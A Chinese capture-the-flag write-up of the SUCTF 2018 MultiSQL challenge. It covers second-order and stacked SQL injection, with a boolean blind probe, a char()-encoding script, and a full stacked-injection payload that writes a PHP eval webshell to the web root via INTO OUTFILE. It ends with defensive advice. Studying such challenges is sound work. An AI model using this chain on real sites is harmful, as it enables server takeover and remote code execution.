1. MultiSQL题目漏洞分析
这道来自SUCTF 2018的MultiSQL题目展示了Web安全中两个经典漏洞的联合利用:二次注入和堆叠注入。题目环境模拟了一个常见的用户管理系统,包含注册、登录和查看用户信息的功能。在实际渗透测试中,这种多漏洞组合利用的场景非常典型。
首先我们来看注册功能的二次注入漏洞。当用户注册时,系统没有对输入的用户名进行充分过滤,导致恶意SQL代码被存入数据库。这个漏洞本身不会立即触发,而是在后续登录操作时被激活。这种"先存储后触发"的特点正是二次注入的典型特征。
用户信息查询页面存在另一个关键漏洞:基于布尔盲注的SQL注入。通过?id参数可以构造特定的查询语句来获取数据库信息。题目提示flag不在数据库中,这意味着我们需要通过注入获取服务器权限,也就是常说的getshell。
2. 漏洞发现与验证
2.1 二次注入的识别
注册功能的二次注入需要特别留意。我在测试时发现,如果在注册时使用特殊字符作为用户名,比如单引号,系统不会立即报错,但在后续登录时可能会引发SQL错误。这种延迟触发的特性使得二次注入在常规扫描中容易被忽略。
验证盲注存在的一个有效方法是使用异或运算。构造如下的请求:
?id=2^(if(ascii(mid(user(),1,1))>0,0,1))这个payload利用了MySQL的异或运算符^。如果user()函数的第一个字符的ASCII码大于0,则if条件为真返回0,2^0=2;否则返回1,2^1=3。通过观察返回结果的不同,可以确认注入点的存在。
2.2 过滤规则的绕过
经过fuzz测试发现题目过滤了多个关键词和符号:
- 过滤了union和select等关键SQL命令
- 屏蔽了&和|等位运算符
- 对常见的注入字符进行了转义处理
但有趣的是,系统允许堆叠查询(stacked queries),这意味着我们可以执行多条SQL语句。这在现代Web应用中比较少见,因为大多数ORM和数据库驱动都默认禁止这种操作。
3. 利用堆叠注入getshell
3.1 预处理语句的妙用
由于select被过滤,我们需要找到替代方案。MySQL的预处理语句(prepared statements)在这里派上了大用场。预处理语句允许我们将SQL语句先定义为字符串变量,然后再执行,这完美绕过了直接使用select的限制。
完整的攻击思路如下:
- 将恶意SQL语句转换为char()编码形式
- 使用set命令将编码后的语句赋值给变量
- 准备(prepare)并执行(execute)这个语句
3.2 构造文件写入payload
我们需要构造一个能将PHP webshell写入网站目录的SQL语句:
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php'为了避免直接使用被过滤的关键词,我们使用Python脚本将其转换为char()编码:
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';" len_str=len(str) for i in range(0,len_str): if i == 0: print('char(%s'%ord(str[i]),end="") else: print(',%s'%ord(str[i]),end="") print(')')生成的char编码为:
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)3.3 最终攻击链构造
将上述编码整合到堆叠注入中,形成完整payload:
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;这个payload做了以下几件事:
- 执行原始查询?id=2
- 设置@sql变量存储我们的恶意语句
- 准备并执行这个语句
- 在目标位置创建webshell
4. 防御建议与实践经验
在实际开发中,防范这类攻击需要多层防御:
- 使用参数化查询或ORM,避免直接拼接SQL
- 实施严格的输入验证,包括长度、字符类型检查
- 配置数据库权限,限制Web应用的写文件能力
- 禁用堆叠查询功能
- 对敏感函数进行过滤或转义
我在实际渗透测试中发现,很多系统虽然做了基础防护,但往往忽略了二次注入的风险。建议在代码审计时特别注意数据从存储到使用的完整生命周期,而不仅仅是即时输入的过滤。